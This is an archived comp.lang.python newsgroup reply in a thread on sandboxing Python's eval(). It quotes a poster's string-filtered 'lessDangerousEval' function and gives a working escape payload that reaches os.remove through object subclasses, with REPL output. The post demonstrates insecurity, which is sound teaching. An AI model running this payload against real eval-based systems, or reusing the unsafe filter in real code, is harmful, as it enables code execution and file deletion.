Groups | Search | Server Info | Keyboard shortcuts | Login | Register [http] [https] [nntp] [nntps]
Groups > comp.lang.python > #36102
| References | <kc541v$3e4$1@reader1.panix.com> |
|---|---|
| Date | 2013-01-03 23:50 -0800 |
| Subject | Re: Yet another attempt at a safe eval() call |
| From | Chris Rebert <clp2@rebertia.com> |
| Newsgroups | comp.lang.python |
| Message-ID | <mailman.72.1357285841.2939.python-list@python.org> (permalink) |
On Thu, Jan 3, 2013 at 3:25 PM, Grant Edwards <invalid@invalid.invalid> wrote:
>
> I've written a small assembler in Python 2.[67], and it needs to
> evaluate integer-valued arithmetic expressions in the context of a
> symbol table that defines integer values for a set of names. The
> "right" thing is probably an expression parser/evaluator using ast,
> but it looked like that would take more code that the rest of the
> assembler combined, and I've got other higher-priority tasks to get
> back to.
>
> How badly am I deluding myself with the code below?
Given http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
and similar, I suspect the answer is "a fair bit".
> def lessDangerousEval(expr):
> global symbolTable
> if 'import' in expr:
> raise ParseError("operand expressions are not allowed to contain the string 'import'")
> globals = {'__builtins__': None}
> locals = symbolTable
> return eval(expr, globals, locals)
>
> I can guarantee that symbolTable is a dict that maps a set of string
> symbol names to integer values.
Using the aformentioned article as a basis, I was able to get this
doozy working, albeit under Python 3:
$ python3
Python 3.3.0 (default, Nov 4 2012, 17:47:16)
[GCC 4.2.1 Compatible Apple Clang 4.0 ((tags/Apple/clang-421.0.57))] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> expr = "[klass for klass in ().__class__.__bases__[0].__subclasses__() if klass.__name__ == 'Codec'][0].encode.__globals__['__builtins__']['__im'+'port__']('os').remove"
>>> eval(expr, {'__builtins__': None}, {})
<built-in function remove>
>>>
Since the original attack was itself devised against Python 2.x, it's
highly likely that similar convoluted attacks against 2.x remain
possible, unless perhaps you were use a modified interpreter.
Cheers,
Chris
Back to comp.lang.python | Previous | Next — Previous in thread | Next in thread | Find similar | Unroll thread
Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-03 23:25 +0000
Re: Yet another attempt at a safe eval() call Tim Chase <python.list@tim.thechases.com> - 2013-01-03 19:11 -0600
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 02:34 +0000
Re: Yet another attempt at a safe eval() call Steven D'Aprano <steve+comp.lang.python@pearwood.info> - 2013-01-04 07:47 +0000
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 15:53 +0000
Re: Yet another attempt at a safe eval() call Michael Torrie <torriem@gmail.com> - 2013-01-04 09:05 -0700
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 16:16 +0000
Re: Yet another attempt at a safe eval() call Oscar Benjamin <oscar.j.benjamin@gmail.com> - 2013-01-05 15:56 +0000
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-06 15:12 +0000
Re: Yet another attempt at a safe eval() call Oscar Benjamin <oscar.j.benjamin@gmail.com> - 2013-01-07 00:08 +0000
Re: Yet another attempt at a safe eval() call Chris Angelico <rosuav@gmail.com> - 2013-01-06 03:01 +1100
Re: Yet another attempt at a safe eval() call Oscar Benjamin <oscar.j.benjamin@gmail.com> - 2013-01-05 16:17 +0000
Re: Yet another attempt at a safe eval() call matt.newville@gmail.com - 2013-01-05 08:40 -0800
Re: Yet another attempt at a safe eval() call matt.newville@gmail.com - 2013-01-05 08:40 -0800
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 16:38 +0000
Re: Yet another attempt at a safe eval() call Chris Angelico <rosuav@gmail.com> - 2013-01-05 03:51 +1100
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 17:14 +0000
Re: Yet another attempt at a safe eval() call Chris Angelico <rosuav@gmail.com> - 2013-01-05 04:21 +1100
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 18:09 +0000
Re: Yet another attempt at a safe eval() call Chris Angelico <rosuav@gmail.com> - 2013-01-05 05:23 +1100
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 18:43 +0000
Re: Yet another attempt at a safe eval() call Chris Angelico <rosuav@gmail.com> - 2013-01-05 06:02 +1100
Re: Yet another attempt at a safe eval() call Chris Rebert <clp2@rebertia.com> - 2013-01-03 23:50 -0800
Re: Yet another attempt at a safe eval() call Terry Reedy <tjreedy@udel.edu> - 2013-01-04 07:24 -0500
Re: Yet another attempt at a safe eval() call Steven D'Aprano <steve+comp.lang.python@pearwood.info> - 2013-01-04 13:33 +0000
Re: Yet another attempt at a safe eval() call Grant Edwards <invalid@invalid.invalid> - 2013-01-04 15:59 +0000
Re: Yet another attempt at a safe eval() call Alister <alister.ware@ntlworld.com> - 2013-01-04 18:13 +0000
csiph-web